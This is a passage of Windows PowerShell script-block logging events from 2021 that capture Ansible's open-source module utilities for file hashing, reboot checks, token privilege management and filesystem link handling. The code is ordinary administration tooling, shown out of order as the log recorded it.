default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 344bc90b-46e2-4f82-949c-2dbeb6144f62
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2099 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-610c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
(T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}
'@
Function Import-PrivilegeUtil {
<#
.SYNOPSIS
Compiles the C# code that can be used to manage Windows privileges from an
Ansible module. Once this function is called, the following PowerShell
cmdlets can be used;
Get-AnsiblePrivilege
Set-AnsiblePrivilege
The above cmdlets give the ability to manage permissions on the current
process token but the underlying .NET classes are also exposed for greater
control. The following functions can be used by calling the .NET class
[Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($name)
[Ansible.PrivilegeUtil.Privileges]::DisablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::DisableAllPrivileges($process)
[Ansible.PrivilegeUtil.Privileges]::EnablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process)
[Ansible.PrivilegeUtil.Privileges]::RemovePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process, $new_state)
Here is a brief explanation of each type of arg
$process = The process handle to manipulate, use '[Ansible.PrivilegeUtils.Privileges]::GetCurrentProcess()' to get the current process handle
$name = The name of the privilege, this is the constant value from https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/privilege-constants, e.g. SeAuditPrivilege
$new_state = 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
The key is the constant name as a string, the value is a ternary boolean where
true - will enable the privilege
false - will disable the privilege
null - will remove the privilege
Each method that changes the privilege state will return a dictionary that
can be used as the $new_state arg of SetTokenPrivileges to undo and revert
back to the original state. If you remove a privilege then this is
irreversible and won't be part of the returned dict
#>
[CmdletBinding()]
# build the C# code to compile
$namespace_import = ($ansible_privilege_util_namespaces | ForEach-Object { "using $_;" }) -join "`r`n"
$platform_util = "$namespace_import`r`n`r`n$ansible_privilege_util_code"
# FUTURE: find a better way to get the _ansible_remote_tmp variable
# this is used to force csc to compile the C# code in the remote tmp
# specified
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $platform_util
$env:TMP = $original_tmp
}
Function Get-AnsiblePrivilege {
<#
.SYNOPSIS
Get the status of a privilege for the current process. This returns
$true - the privilege is enabled
$false - the privilege is disabled
$null - the privilege is removed from the token
If Name is not a valid privilege name, this will throw an
ArgumentException.
.EXAMPLE
Get-AnsiblePrivilege -Name SeDebugPrivilege
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][String]$Name
)
if (-not [Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($Name)) {
throw [System.ArgumentException] "Invalid privilege name '$Name'"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
$privilege_info = [Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process_token)
if ($privilege_info.ContainsKey($Name)) {
$status = $privilege_info.$Name
return $status.HasFlag([Ansible.PrivilegeUtil.PrivilegeAttributes]::Enabled)
} else {
return $null
}
}
Function Set-AnsiblePrivilege {
<#
.SYNOPSIS
Enables/Disables a privilege on the current process' token. If a privilege
has been removed from the process token, this will throw an
InvalidOperationException.
.EXAMPLE
# enable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $true
# disable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $false
#>
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory=$true)][String]$Name,
[Parameter(Mandatory=$true)][bool]$Value
)
$action = switch($Value) {
$true { "Enable" }
$false { "Disable" }
}
$current_state = Get-AnsiblePrivilege -Name $Name
if ($current_state -eq $Value) {
return # no change needs to occur
} elseif ($null -eq $current_state) {
# once a privilege is removed from a token we cannot do anything with it
throw [System.InvalidOperationException] "Cannot $($action.ToLower()) the privilege '$Name' as it has been removed from the token"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
if ($PSCmdlet.ShouldProcess($Name, "$action the privilege $Name")) {
$new_state = New-Object -TypeName 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
$new_state.Add($Name, $Value)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process_token, $new_state) > $null
}
}
Export-ModuleMember -Function Import-PrivilegeUtil, Get-AnsiblePrivilege, Set-AnsiblePrivilege `
-Variable ansible_privilege_util_namespaces, ansible_privilege_util_code
ScriptBlock ID: ddc4b70e-7a96-4ee6-8f6b-d3bcfdeb9339
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2098 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-5d0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
# Copyright (c) 2018 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
# store in separate variables to make it easier for other module_utils to
# share this code in their own c# code
$ansible_privilege_util_namespaces = @(
"Microsoft.Win32.SafeHandles",
"System",
"System.Collections.Generic",
"System.Linq",
"System.Runtime.InteropServices",
"System.Security.Principal",
"System.Text"
)
$ansible_privilege_util_code = @'
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] =
ScriptBlock ID: ddc4b70e-7a96-4ee6-8f6b-d3bcfdeb9339
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2097 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-5d0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
#Requires -Module Ansible.ModuleUtils.PrivilegeUtil
Function Load-LinkUtils() {
$link_util = @'
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
